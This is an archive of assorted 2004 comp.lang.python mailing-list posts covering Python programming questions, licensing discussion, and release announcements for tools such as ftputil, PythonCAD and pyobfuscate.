From: t-meyer at ihug.co.nz (Tony Meyer)
Date: Thu, 19 Feb 2004 12:46:18 +1300
Subject: How do make a function that creates a sequence of n
	randomnumbers?
In-Reply-To: <1ED4ECF91CDED24C8D012BCF2B034F1305255E44@its-xchg4.massey.ac.nz>
Message-ID: <1ED4ECF91CDED24C8D012BCF2B034F1304677995@its-xchg4.massey.ac.nz>

> > Thanks, everyone. Also, I'd really like to know how to remove the 
> > lowest number from the sequence.
> Now this really sounds like homework.

OT, but if you were a teacher assigning homework like this, wouldn't you
read c.l.p to see which of your students asked the homework questions?  (Or
at the least, google through the list when the homework is handed in?)

=Tony Meyer




From grahamd at dscpl.com.au  Sat Feb 28 19:37:42 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: 28 Feb 2004 16:37:42 -0800
Subject: Licensing of wrappers around C/C++ code under more restrictive
	licensing.
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
	<du7ishrmqsv.fsf@amadeus.cc.tut.fi>
Message-ID: <dc6f5c99.0402281637.71f8a571@posting.google.com>

Ville Vainio <ville at spammers.com> wrote in message news:<du7ishrmqsv.fsf at amadeus.cc.tut.fi>...
> Googling also revealed:
> 
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/81614
> 
> But beware: OSE, which that recipe relies on, seems to be licensed
> under QPL.

That it is currently under the QPL means nothing if you aren't intending
to redistribute your own code. Ie., if you are developing a system for in
house or personal use, the contentious parts of the QPL don't actually
kick in and it should be safe to use. Much the same as the GPL really,
where things only apply if you intend to redistribute.

The next version of OSE will try to address this issue by allowing use of
the Python wrappers under a BSD or Python style license, provided that
the C++ layer underneath is left as is. Change the C++ layer underneath
and the QPL will apply up through the Python code as well.

In other words, there will be an attempt to build a wall between the QPL
licensed C++ code and the Python code. It may turn out that this is not
a practical thing to do and even if possible, it may still not satsify the
GPL license clause about other licenses placing additional restrictions
beyond those implied by the GPL. Ie., you still might not be able to
validly use the stuff in an application where you also use Python code
under the GPL.

I would really like to hear other peoples ideas about how to address
licensing where the Python code is actually a wrapper around a C/C++
library under a QPL or GPL type license. Some people seem to believe
that the use of the scripting language implies a line is drawn when
people go to use it and thus what the library underneath is licensed
under doesn't matter. Linking of the library still occurs though, so I
don't believe this is necessarily the case.

So, how can one cast the licensing so as to provide an exception that
provided the underlying C/C++ library isn't changed, that the Python
wrappers can be used under a less restrictive license. I have control of
the licensing on both so can stipulate exceptions, but what is the
best way of doing it?

Comments?


From sschwarzer at sschwarzer.net  Sun Feb  8 12:37:01 2004
From: sschwarzer at sschwarzer.net (Stefan Schwarzer)
Date: Sun, 8 Feb 2004 18:37:01 +0100
Subject: [ANN] ftputil 2.0
Message-ID: <20040208183701.6126dcea.sschwarzer@sschwarzer.net>

ftputil 2.0 is released! :-)
 
ftputil is a high-level alternative to Python's ftplib module. With
ftputil, you can access directories and files on remote FTP servers
almost as if they were in your local file system. This includes using
file-like objects representing remote files.

You can download ftputil from
http://www.sschwarzer.net/download/ftputil-2.0.tar.gz

For future releases see
http://www.sschwarzer.net/python/python_software.html
or subscribe to the mailing list at
http://codespeak.net/mailman/listinfo/ftputil

What's new?
-----------

 From version 1.1 to 2.0, the following has changed:

- ftputil has been re-organized and is now a Python package (the
  import statement is still the same)

- installation via Python distutils

- stat, upload_if_newer, download_if_newer etc. work correctly if the
  server is in another time zone than the client running ftputil (with
  help from Andrew Ittner); see section "Time zone correction" in the
  documentation

- it's possible to set the directory listing format "manually" (though
  in most cases it's recognized automatically); see section "Stat'ing
  files and directories"
 
- added a workaround regarding whitespace in directory names (thanks
  to Tommy Sundstr?m and H. Y. Chu)

- extended documentation and converted it to HTML format (now
  generated from reStructured Text)

- several bugfixes

- there's now a mailing list at http://codespeak.net/mailman/listinfo/ftputil
  (thanks to Holger Krekel)

Documentation
-------------

The documentation for ftputil can be found in the file ftputil.txt
(reStructured Text format) or ftputil.html (recommended, generated
from ftputil.txt).

License
-------

ftputil is Open Source Software. It is distributed under a BSD-style
license (see the top of ftputil.py).

Stefan


From nospam-deets at web.de  Thu Feb 26 08:12:26 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 26 Feb 2004 14:12:26 +0100
Subject: Catching exception information from ExpatError
References: <88m%b.30631$Da7.12393@newssvr25.news.prodigy.com>
Message-ID: <c1krjp$1jveb9$1@ID-111250.news.uni-berlin.de>

python newbie wrote:
> Can you suggest something, is it obvious?

It is.

http://www.python.org/doc/current/lib/expaterror-objects.html


-- 
Regards,

Diez B. Roggisch


From ahaas at airmail.net  Tue Feb 24 11:15:58 2004
From: ahaas at airmail.net (Art Haas)
Date: Tue, 24 Feb 2004 10:15:58 -0600
Subject: ANNOUNCE: Twelfth release of PythonCAD now available
Message-ID: <20040224161558.GA8066@artsapartment.org>

Hi.

I'd like to announce the twelfth development release of PythonCAD,
a CAD package for open-source software users. As the name implies,
PythonCAD is written entirely in Python. The goal of this project is
to create a fully scriptable drafting program that will match and eventually
exceed features found in commercial CAD software. PythonCAD is released
under the GNU Public License (GPL).

PythonCAD requires Python 2.2 or Python 2.3. The interface is GTK 2.0
based, and uses the PyGTK module for interfacing to GTK. The design of
PythonCAD is built around the idea of separating the interface
from the back end as much as possible. By doing this, it is hoped
that both GNOME and KDE interfaces can be added to PythonCAD through
usage of the appropriate Python module. Addition of other interfaces
will depend on the availability of a Python module for that particular
interface and developer interest and action.

The twelfth release of PythonCAD contains a large number of internal
changes to the program. The class hierarchy for the various entities
has been simplified, and the ability to hide or lock entities on
an individual basis has been added. The largest change to the code
is the incorporation of a messaging system between the entities similar
to that in Trolltech's QT framework. Another significant change in this
release is the introduction of quadtrees for storing the various
entities in a drawing, which should provide faster searching for
the location of the entities.

A number of code cleanups have also been applied to this release.
Numerous deprecated methods have been removed, and several Python
function calls that are deprecated or appear to be heading that way
have been removed. The code cleanup also exposed various bugs which
are now resolved. Changes due to the incorporation of the new messaging
system have made a number of entity methods deprecated, so warnings
messages will appear if they are called. These newly deprecated
methods will be removed in an upcoming release.

The mailing list for the development and use of PythonCAD is available.
Visit the following page for information about subscribing and viewing
the mailing list archive:

http://mail.python.org/mailman/listinfo/pythoncad

Visit the PythonCAD web site for more information about what PythonCAD
does and aims to be:

http://www.pythoncad.org/

Come and join me in developing PythonCAD into a world class drafting
program, and Happy New Year to everyone!

Art Haas
-- 
Man once surrendering his reason, has no remaining guard against absurdities
the most monstrous, and like a ship without rudder, is the sport of every wind.

-Thomas Jefferson to James Smith, 1822



From michele.simionato at poste.it  Thu Feb 19 14:28:03 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 19 Feb 2004 11:28:03 -0800
Subject: hmm, lets call it: generic __init__  problem
References: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>
	<95aa1afa.0402180908.1f7a8b6c@posting.google.com>
	<c12l27$1dhtdh$1@ID-131134.news.uni-berlin.de>
Message-ID: <95aa1afa.0402191128.3f2e046b@posting.google.com>

paul k?lle <koelle1 at uni-weimar.de> wrote in message news:<c12l27$1dhtdh$1 at ID-131134.news.uni-berlin.de>...
>   The solution using super() like Peter suggested is almost perfect 
> except the name of the class is still hardcoded inside of __init__.
> 
> one(object):
>    def __init__(self, *args, **kwargs):
>      super(one, self).__init__()
>            ^^^^
>      r = self.s.get_obj(ldap.schema.ObjectClass, self.__class__.__name__)
>      ...process r...
> 
> implies to write another __init__ for every subclass, since "one" wouldn 
> 't match the subclass's name right? Instead of "one" I'd like to have 
> something that get's the current class at instantiation time. Is that 
> possible ?
> 

Yes, but it is quite non-trivial to get it right with the current
language.
I consider it to be a wart of super. See Guido's "autosuper" metaclass
and this post of mine for a solution:

http://groups.google.it/groups?hl=it&lr=&ie=UTF-8&threadm=95aa1afa.0401150715.61e44550%40posting.google.com&rnum=4&prev=/groups%3Fhl%3Dit%26lr%3D%26ie%3DISO-8859-1%26q%3Dsimionato%2Bsuper%2Bgroup%253Acomp.lang.python.*%26btnG%3DCerca%2Bcon%2BGoogle%26meta%3Dgroup%253Dcomp.lang.python.*

Warning: it is not for the faint of heart ;)

        Michele Simionato


From tkpmep at hotmail.com  Sun Feb 15 19:00:02 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 15 Feb 2004 16:00:02 -0800
Subject: Stopping a program
Message-ID: <b4a8ffb6.0402151600.70e2c173@posting.google.com>

I'd like to stop a program (i.e. terminate its execution) without
raising an exception if some condition is met, e.g

answer = " "
while answer not in "yn":
    answer = raw_input("y for yes, n for no, enter to exit ")
    if answer == ""
       stop/quit/end/whatever it takes to terminate the program
    elif answer == "y"
      #Yes
      .
      . 
    elif answer == "n"
      #No
      .
      . 

In Fortran, I'd use a stop command to do this. What is the appropriate
equivalent in Python?

Thomas Philips


From logistix at cathoderaymission.net  Thu Feb 19 11:06:52 2004
From: logistix at cathoderaymission.net (logistix at cathoderaymission.net)
Date: 19 Feb 2004 08:06:52 -0800
Subject: Python Virtual Machine Reference
References: <TKOYb.2538$Po1.1716@twister.tampabay.rr.com>
	<VyRYb.25570$Ob7.3577@newssvr27.news.prodigy.com>
	<mailman.43.1077154981.27104.python-list@python.org>
	<m3ad3fjoit.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3c91a864.0402190806.36b293d2@posting.google.com>

Michael Hudson <mwh at python.net> wrote in message news:<m3ad3fjoit.fsf at pc150.maths.bris.ac.uk>...

> 
> What happens on the ast-branch (the "new compiler" branch), I'm not so
> sure about.  An AST (AFAIK different from Lib/compiler's) is involved
> somewhere, but I'm not sure how it's produced.
> 

It uses the existing mechanism to generate the parse-tree, and then
transforms into a real AST prior to bytecode generation.  Writing a
new parser-generator has been deferred at this point.


From warlock at eskimo.com  Fri Feb 20 19:01:15 2004
From: warlock at eskimo.com (Jim Richardson)
Date: Fri, 20 Feb 2004 16:01:15 -0800
Subject: Parsing apache log files
References: <oqigg1-3nl.ln1@grendel.myth> <c149qh$33i$1@news.service.uci.edu>
	<t32hg1-u8n.ln1@grendel.myth> <c15foq$css$1@news.service.uci.edu>
Message-ID: <bnjig1-3ku.ln1@grendel.myth>


On Fri, 20 Feb 2004 09:20:00 -0800,
 Josiah Carlson <jcarlson at nospam.uci.edu> wrote:
>> thanks, although reading that re makes my brain hurt! :), and I don't
>> think it handles the case where the dashes are something else (the dash
>> is a place holder for some data that wasn't there on this request,
>> bytelength, referrer, something) but I'll look into it, thanks for the
>> example. 
>
> It depends on which dash you were talking about.  The dash immediately 
> after the response code is the number of bytes sent, and is handled by 
> the regular expression.
>
> Unless you use identd checks, the first '-' will always be there, though 
> the second '-' is the identity of the client given through http auth, 
> which may or may not be important to you.
>

<snip>

It was the http auth, which for some reason, show up from time to time,
may be a misconfigured router/proxy don't know. But this works, although
my brain is still parsing the regexp :) Thank you very much for your
help.



-- 
Jim Richardson     http://www.eskimo.com/~warlock
One man's religion is another man's belly laugh.


From jepler at unpythonic.net  Wed Feb 18 20:10:06 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 18 Feb 2004 19:10:06 -0600
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
	<ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>
Message-ID: <20040219011006.GB11071@unpythonic.net>

On Wed, Feb 18, 2004 at 05:41:10PM +0000, Terry Carroll wrote:
> With read() instead of readline(), then.
> 
> I've certainly run into this using urllib2.

Push the "yucky" while 1: loop into a generator function,
and then use a regular "for" loop in the multiple places 
you need to handle a file in this way:

    def chunks(f, blocksize=512):
        while 1:
            b = f.read(blocksize)
            if not b: return
            yield b

Use it like this:
>>> f = open("/etc/fedora-release")
>>> for c in chunks(f, 4): print repr(c),
... 
'Fedo' 'ra C' 'ore ' 'rele' 'ase ' '1 (Y' 'arro' 'w)\n'

The "while 1:" loop is now so short that a simple glance can take it all
in, and the site with the logic uses the much clearer 'for' loop.

Jeff



From dbentley at stanford.edu  Thu Feb 12 09:10:01 2004
From: dbentley at stanford.edu (Daniel Timothy Bentley)
Date: Thu, 12 Feb 2004 06:10:01 -0800
Subject: correct way of running a sub-process
Message-ID: <Pine.GSO.4.44.0402120604380.4841-100000@amy3.Stanford.EDU>

What is the (hopefully unique) obvious way of runnign a sub-process if I
want to get the exit code and input without resorting to multi-threading?

It seems like I should be able to do the following:

foo = popen2.Popen3(cmd)
foo.wait()
foo.fromchild.read()

But, it seems like on my system (a Sun Ultra 30 running Solaris 8) this
will hang if the input happens to have more than about 12k of text.  I'm
guessing this is a buffersize issue, but it would be a mistake to assume
at compile time an output size for the child process.

Couldn't wait be modified to actually wait until a process exits by
buffering?

While we're at it, is there any way to read/wait with a time-out?  I.e.,
read more than 0 bytes, unless it takes more than a time-out value, so I
can run sub-processes that terminate?

-Dan



From teiffel at attglobal.net  Wed Feb 25 07:39:34 2004
From: teiffel at attglobal.net (Marcello Pietrobon)
Date: Wed, 25 Feb 2004 07:39:34 -0500
Subject: os.walk walks too much
Message-ID: <403C9786.1040903@attglobal.net>

Hello,
I am using Pyton 2.3
I desire to walk a directory without recursion

this only partly works:
def walk_files() :
    for root, dirs, files in os.walk(top, topdown=True):
        for filename in files:
            print( "file:" + os.path.join(root, filename) )
        for dirname in dirs:
             dirs.remove( dirname )
because it skips all the subdirectories but one.

this *does not* work at all
def walk_files() :
    for root, dirs, files in os.walk(top, topdown=True):
        for filename in files:
            print( "file:" + os.path.join(root, filename) )
        dirs = []

This is surprizing to me.
Is this a glitch ?

How should I implement this ?
Maybe it would be good to put it in the os. walk documentation ?

Cheers,
Marcello





From amk at amk.ca  Fri Feb 27 21:42:22 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Fri, 27 Feb 2004 20:42:22 -0600
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
Message-ID: <L7idnVU2vOGTnd3dRVn-iQ@speakeasy.net>

On Fri, 27 Feb 2004 13:50:09 -0700, 
	Erik Johnson <ej.at.wellkeeper at dot.com> wrote:
>     1) PHP seems to have a pretty good integration/driver with PostgreSQL.
> If we were to switch to Python, what modules/drivers are available to talk
> to PosgreSQL and is it as functional as PHP's support?

There are several; for some reason I don't really understand, there are
multiple Python/PostgreSQL modules.  Most of them will support the standard
DB-API described in PEP 249.  Personally I use PygreSQL with Quixote as the
web framework.

Note that I'm one of the developers on a Python web framework called Quixote
(www.quixote.ca), so my answers are slanted in that direction.  If you're in
the Washington DC area, I'll be giving a Quixote tutorial next weekend at a
Linux user group meeting; see novalug.tux.org for meeting details.

>     3) Does Python have an analog to strtotime()? (For those not familiar
> with that function, it converts a wide range of date formats as string into
> time_t value. Can handle things like "now", "+24 hours", "-3 days",
> "yesterday 06:00PM MST", "January 23, 2004", "2004-02-26 18:00:00 -07",
> etc.)

mxDateTime has an extensive parsing module.  There's a PEP for adding date
parsing to core Python, but it may not get done for 2.4.

>     4) I am vaguely aware of Apache's modpython. We are currently running
> apache, but I'm real green when it comes to configuring/running/managing
> Apache. I don't really understand what all modpython does for me. Generally

It embeds a Python interpreter in the Apache daemon, so you can intersperse
Python processing in Apache's request processing.  There's going to be a
mod_python tutorial at the upcoming PyCon conference; again, if you're in
the DC area you might consider going in order to talk to existing Python/web
developers.

Note that embedding the interpreter in Apache isn't a requirement; you can
also run applications using SCGI, or FastCGI instead.  You'd have to carry
out benchmarks to see which one ends up running fastest for your
application.  

>     5) A PHP script can freely jump in and out of static HTML and script
> code with <?php ?>  tags. This is sometimes handy. Can you do the same thing
> with Python?

There are various templating packages available for Python, such as Cheetah
(vaguely PHPish), ZPT (XML-based), or PTL (part of Quixote). Personally I
don't find embedding Python code in HTML to be a good idea; it's too
difficult to refactor, and PTL has various convenient features for
automatically quoting HTML.

> a forked process, and if so, is that too expensive? Do you know of
> comparable packages for Python?

One of the upsides of using Python is that many more non-Web-related
packages have been written for it.  Scientific programming is a significant
application domain for Python, so several graphing packages have been
written. You could use Reportlab for PDF generation, Chaco, Gnuplot, or Gist
for graphing, or the Python Imaging Library for generating PNGs/JPGs.

--amk


From bokr at oz.net  Fri Feb  6 13:56:03 2004
From: bokr at oz.net (Bengt Richter)
Date: 6 Feb 2004 18:56:03 GMT
Subject: PEP 327: Decimal Data Type
References: <mailman.1036.1075467073.12720.python-list@python.org>
	<6ltk10h30riel0lghd18t5unjco2g26spi@4ax.com>
	<bvtj8j$f8j$1@panix2.panix.com>
Message-ID: <c00o03$urd$0@216.39.172.122>

On 5 Feb 2004 09:16:51 -0500, aahz at pythoncraft.com (Aahz) wrote:

>In article <6ltk10h30riel0lghd18t5unjco2g26spi at 4ax.com>,
>Stephen Horne  <steve at ninereeds.fsnet.co.uk> wrote:
>>On Fri, 30 Jan 2004 09:49:05 -0300, "Batista, Facundo"
>><FBatista at uniFON.com.ar> wrote:
>>>
>>>I'll apreciate any feedback. Thank you all in advance.
>>
>>My concern is that many people will use a decimal type just because it
>>is there, without any consideration of whether they actually need it.
>>
>>95% of the time or more, all you need to do to represent money is to
>>use an integer and select appropriate units (pence rather than pounds,
>>cents rather than dollars, etc) so that the decimal point is just a
>>presentation issue when the value is printed/displayed but is never
>>needed in the internal representation.
>
>The problem lies precisely in that representation.  For starters, a
>binary integer is O(n^2) for conversion to decimal printing.  Then
Please clarify. What is your "n" in that?

Regards,
Bengt Richter


From omission9 at invalid.email.info  Sat Feb 21 00:32:50 2004
From: omission9 at invalid.email.info (omission9)
Date: Sat, 21 Feb 2004 05:32:50 GMT
Subject: New user needs help
In-Reply-To: <103dqa9m48nj792@corp.supernews.com>
References: <103dqa9m48nj792@corp.supernews.com>
Message-ID: <64CZb.19719$wD5.7887@nwrddc03.gnilink.net>

John wrote:

> I am new to using Python. Everytime I run this program it prints "The lowest
> common factor is 0", no matter what numbers I use. Can anybody see anything
> wrong with my program? Thanks in advance.
> 
> 
> 
> def getnum1(a):
>     a = input("What is the first number?")
>     if a == 0:
>         getnum1(a)
> def getnum2(b):
>     b = input("What is the second number?")
>     if b == 0:
>         getnum2(b)
> def euclid(num1, num2, num3, num4):
>     if num1 < num2:
>         num3, num4 = num1, num2
>         num1, num2 = num4, num3
>         euclid(num1, num2, num3, num4)
>     elif num2 != 0:
>         num3, num4 = num1, num2
>         num1 = num4
>         num2 = num3 % num4
>         euclid(num1, num2, num3, num4)
>     else:
>         print "The lowest common factor is: ", num1
> a = 0
> getnum1(a)
> b = 0
> getnum2(b)
> x, y = 2, 100
> euclid(a, b, x, y)

This is a nice simple example of what is called "scope" and how it can 
trick a beginner.
Put as simply as possible,"a" and "b" are actually defined twice. Once 
"locally" in the getnum functions and another time "globally" . When you 
set a and b to the user input in the functions the other a and b have no 
idea about this assignment. Below is a slight revision which return the 
a and b set by the user back to where they are called. By putting a 
simple print statement in the script you can see where the values are 
set and that can help you.
I hope that helps. There is probbaly a couple of other changes you could 
make as well but nothing too major, in my opinion.


def getnum1(a):
     a = input("What is the first number?")
     if a == 0:
         getnum1(a)
     return a
def getnum2(b):
     b = input("What is the second number?")
     if b == 0:
         getnum2(b)
     return b
def euclid(num1, num2, num3, num4):
     print num1, num2, num3, num4
     if num1 < num2:
         num3, num4 = num1, num2
         num1, num2 = num4, num3
         euclid(num1, num2, num3, num4)
     elif num2 != 0:
         num3, num4 = num1, num2
         num1 = num4
         num2 = num3 % num4
         euclid(num1, num2, num3, num4)
     else:
         print "The lowest common factor is: ", num1
a = 0
b = 0
a=getnum1(a)
b=getnum2(b)
x, y = 2, 100
euclid(a, b, x, y)



From malkarouri at yahoo.co.uk  Fri Feb 27 08:29:57 2004
From: malkarouri at yahoo.co.uk (Muhammad Alkarouri)
Date: 27 Feb 2004 05:29:57 -0800
Subject: WSDL in python?
Message-ID: <d114ac8b.0402270529.711a3619@posting.google.com>

After googling for some time, and checking ZSI and other solutions, I
have not found a way to write a web service application (server that
is) in Python and automatically create a WSDL description for it.
The question:
- Does such a solution exist (WSDL server support)?
- if not, any way to deploy python web services using WSDL, even if it
needs learning another package/syntax/...?

Please, don't suggest to me xml-rpc, as I have some compatibility
issues..

Regards,
karouri


From peter at cendio.se  Tue Feb 17 10:08:33 2004
From: peter at cendio.se (Peter Astrand)
Date: Tue, 17 Feb 2004 16:08:33 +0100 (CET)
Subject: [Announce] pyobfuscate
Message-ID: <Pine.LNX.4.44.0402171603010.12164-100000@maggie.lkpg.cendio.se>


I've written a Python source code obfuscator. The project home page is
http://www.lysator.liu.se/~astrand/projects/pyobfuscate/. I'm including a
copy of the README file below.



pyobfuscate - Python source code obfuscator
===========================================

pyobfuscate is a source code obfuscator: It makes Python source code
hard to read for humans, while still being executable for the Python
interpreter. 


Why obfuscate?
--------------

Obfuscation makes little sense for Open Source
(http://www.opensource.org/) programs, but vendors developing
commercial applications are usually not happy with shipping the
original source code to customers. 

Several obfuscators for other languages, like Java, already
exists. With Python, the problem is even more severe than with Java,
because Python bytecode is not compatible between different Python
versions. Also, bytecode is very easy to "decompile" to source code by
using "decompyle": http://www.crazy-compilers.com/decompyle/.

If shipping original source code is the only option for distributing
Python applications, then many vendors might choose another
programming language instead. 


What does pyobfuscate do?
-------------------------

pyobfuscate transforms the source code in several ways. Some of these
transformations are reversible (can be "un-obfuscated"); some are
not. Here's a list of what pyobfuscate currently does:

* Removes comments and docstrings (not reversible)

* Changes indentation (reversible)

* Adds whitespace between tokens (somewhat reversible)

* Renames functions, classes and variables (not reversible)

* Inserts bogus lines instead of blank lines. 


Limitations
-----------

pyobfuscate operates on one single source file at a time. It does not
obfuscate the interface between several files. 

pyobfuscate cannot obfuscate methods, class variables or other
attributes, currently. See the TODO for more information.


-- 
Peter ?strand		www.thinlinc.com
Cendio			www.cendio.se
Teknikringen 3		Phone: +46-13-21 46 00
583 30 Link?ping






From bhoel at web.de  Wed Feb 25 14:56:52 2004
From: bhoel at web.de (Berthold Höllmann)
Date: Wed, 25 Feb 2004 20:56:52 +0100
Subject: Problem with OptionParser
References: <c1ih6o$91h$06$1@news.t-online.com>
Message-ID: <m2wu6blypn.fsf@pchoel.psh>

Florian Lindner <Florian.Lindner at xgm.de> writes:

> Hello,
> I've this tiny Python sample:
>
> - - - -
> #!/usr/bin/python
>
> from optparse import OptionParser, OptionValueError
>
> def option_callback(option, opt, value, parser, *args, **kwargs):
>     pass
>
> optparser = OptionParser()
> optparser.add_option("-t", "--type", action="callback",
> callback=option_callback, type="string")
> (options, arguments) = optparser.parse_args()
> - - - -

As a workaround you could set "metavar", I posted a first fix to the
Optik mailing list.

Regards

Berthold
-- 
bhoel at web.de / http://starship.python.net/crew/bhoel/


From haasje at welmers.net  Fri Feb  6 05:57:38 2004
From: haasje at welmers.net (Bastiaan Welmers)
Date: Fri, 06 Feb 2004 11:57:38 +0100
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
	<bvmd1s$5b5$1@namru.matavnet.hu>
	<4f0a9fdb.0402022331.394b3002@posting.google.com>
Message-ID: <40237350$0$317$e4fe514c@news.xs4all.nl>

Miki Tebeka wrote:

> Hell Bastiaan,
> 
>> I need find messages in huge mbox files (50MB or more).
>> ...
>> Anyone who has a better idea?
> I find that sometime using the unix little utilties (which are
> available for M$ as well) gives very good performance.
> 
Sounds as a very good idea. Tanks.

/Bastiaan


From uche at ogbuji.net  Fri Feb 13 10:20:29 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 13 Feb 2004 07:20:29 -0800
Subject: Splitting a DOM
References: <fa538331.0402120759.44f20301@posting.google.com>
Message-ID: <d116fbae.0402130720.2814ac40@posting.google.com>

brice.vissiere at costes-gestion.net (Brice Vissi?re) wrote in message news:<fa538331.0402120759.44f20301 at posting.google.com>...
> Hello,
> 
> I would like to handle an XML file structured as following
> <ROOT>
> <STEP>
> ...
> </STEP>
> <STEP>
> ...
> </STEP>
> ...
> </ROOT>
> 
> From this file, I want to build an XML file for each STEP block.
> 
> Currently I'm doing something like:
> 
> from xml.dom.ext.reader import Sax2
> from xml.dom.ext import PrettyPrint
> 
> reader = Sax2.Reader()
> my_dom = reader.fromUri('steps.xml')
> steps = my_dom.getElementsByTagName('STEP')
> 
> i=0
> for step in steps:
> 	tmp = file('step%s.xml' % i,'w')
> 	tmp.write('<?xml version="1.0" encoding="ISO-8859-1" ?>\n')
> 	PrettyPrint(step , tmp , encoding='ISO-8859-1')
> 	tmp.close()
> 	i+=1
> 
> But I'm pretty sure that there's a better way to split the DOM ?

Here's an Anobind recipe:

--- % ---

#Boilerplate set-up

import anobind
from Ft.Xml import InputSource
from Ft.Lib import Uri

#Create an input source for the XML
isrc_factory = InputSource.DefaultFactory
#Create a URI from a filename the right way
file_uri = Uri.OsPathToUri('steps.xml', attemptAbsolute=1)
isrc = isrc_factory.fromUri(file_uri)

#Now bind from the XML given in the input source
binder = anobind.binder()
binding = binder.read_xml(isrc)

#File splitting task
import tempfile

#The direct approach
i = 0
for folder in binding.xbel.folder:
    fout = open('step%s.xml', 'w')
    folder.unbind(fout)
    fout.close()
    i += 1

--- % ---

To use XPath replace the line

for folder in binding.xbel.folder:

With

for folder in binding.xpath_query(u'xbel/folder'):

Anobind:  http://uche.ogbuji.net/tech/4Suite/anobind/

--Uche
http://uche.ogbuji.net


From rdgentry1 at cablelynx.com  Thu Feb 19 19:35:02 2004
From: rdgentry1 at cablelynx.com (P Gentry)
Date: 19 Feb 2004 16:35:02 -0800
Subject: Nature of Zope...
References: <cd29768.0402180920.35b6aeab@posting.google.com>
Message-ID: <facb01db.0402191635.4ba22082@posting.google.com>

mailslayer99 at yahoo.com (Scott) wrote in message news:<cd29768.0402180920.35b6aeab at posting.google.com>...
> Greetings everyone,
> 
> I have a couple general questions regarding the nature of Zope?
> 
> Also, please forgive me if this is not the proper forum for this type
> of question.  If so, please disregard.
> 
> I'm interested in developing business apps, not just developing a
> content management site.  ...

The CM site packages you see are add-on Zope Products, not central to
Zope itself.

> ... I'm wondering if Zope is right for me.  My
> programming exposure has been limited to simple PHP and not even from
> an OOP perspective, just simply dropping logic into HTML pages?

Just the sort of person Zope was meant to help out, by providing
pre-built infrastructure and a means of taking advantage of it.
 
> I'm interested in building deployable apps with administration built
> into the app itself, not necessarily being administered from within
> Zope.  For example, I would create an app with its own administrator,
> its own staff, and its own technicians.  These being completely
> separate from the Zope management console.  (The users and managers of
> this app would be completely unaware of Zope).

Already done!  You're confusing the Zope Management Interface (ZMI)
which is designed to help manage Zope _installations/sites_ with the
CM management interface meant to manage the CM app.  You can
use/extend the facilities of Zope's ZMI to delegate the management of
the site or any fraction thereof, and your users don't have to use
Zope's web ZMI if you provide something else.  But _you_ can take
advantage of the underlying facilities.

> These users would have certain tasks that they can do based on of
> course their ownership and security levels (these also being managed
> by the apps administrator and perspective).  Can these things be
> controlled outside of Zope?  ...

Why?  Zope already provides _precisely_ this facility (and things like
proxy roles and acquisition that you'ld likely find _very_ useful).

> ... If I did that would it break the core
> "point" of Zope?  

Well, it won't break Zope as you seem determined to hide it as
completey as possible in every way possible.  And, "Yes, IMO it
ignores the whole point of Zope!"  It's as if you're saying you want
to use Zope precisely to ignore every feature that makes Zope a unique
solution.

> ... Can and should I create a means to tie into the
> ZopeDB from within the app for users and perms or can I store this in
> a SQL database.  ...

Completely up to you and how much work you want to put into it.

> ... If I create a deployable package and distribute it,
> let it run, and simply restore my MySQL database in the event of a
> failure and redeploy my original "Zope Project" after a
> re-installation, could I be good to go?  Or must I store users,
> groups, perms, etc in the ZopeDB, or can I put users and their
> permissions in a SQL DB?

Zope already provides backup/recovery mechanisms (of sorts) that you
can use to suit your situation no matter how you decide to to handle
authentication/authorization.  Most people use the facilities provided
by Zope/ZODB, but some db based apps use  the apps db storage.  It's
up to you.

> If Zope is well suited to do this, what is the next step?  I've
> installed and ran through the tutorial, but It doesn't get into the
> nitty gritty, I have no Python experience and no OOP experience.

What you propose will not be easy then.  You need to take advantage of
every pre-built facility possible -- regardless of product/language. 
Zope just happens to be designed with the goal of helping a "regular
joe" get a big jump start.  But there is no magic in Zope -- just
Python!  (Which some of us find just as good as magic)

> I plan on designing apps that have a lot of logic tied into it?  I
> have no idea where I can find out how to do certain things, for
> example, making database modifications based on certain criteria that
> a user does in the app, modifying the DB schema, creating the actual
> HTML forms based on SQL data, dropping in the logic behind the scenes.
>  The best way I've learned in the past is with tutorials, which
> explain things step by step and why.

The "core" of Zope provides just these facilities.  All the more
reason to select a software base with a community that will support
your efforts with aid and advice -- one that _you_ are comfortable
with.

> In order to use Zope, is it mandatory to know Python and OOP to build
> complex apps.  ...

Not to mince words, but Yes!

>... The reason for me wanting to use Zope is so I wouldn't
> have to learn another language, ...

What other language?  PHP?  Perl?  C?  Visual Basic?

> ... so that development could go fast, so
> that a person without extensive programming experience could build a
> logical business application.

Do you mean "end users"?  Again, this is what Zope's design goals are.

> If it helps, the three apps I'm working on are:
> 
> One, an asset management database, with admins making schema changes,
> and assigning groups and users to modify add certain pieces.

Sorta depends on the nature of the assets, doesn't it?  And the db
backend?  Experience is to _never_ let the well intentioned near the
schema and choose admins _very_ carfully.  You can use Zope's
facilities to help (a lot!) or ignore them and roll your own.

> And two others, one a change management system and the other a trouble
> ticket system, once again admins creating and managing users (staff
> and tech), staff members creating and managing tickets and assigning
> them to techs, and techs managing their assigned tickets.  Everything
> is queue based with ownership.

This sounds much like a work flow product.  Zope has several such
beasts available for your pleasure, some fairly "complete" and others
just a framework.

> Thanks so much for your help and time?

You might get a better sense of what your up against trying to do all
this by posting to the Zope mailing lists:
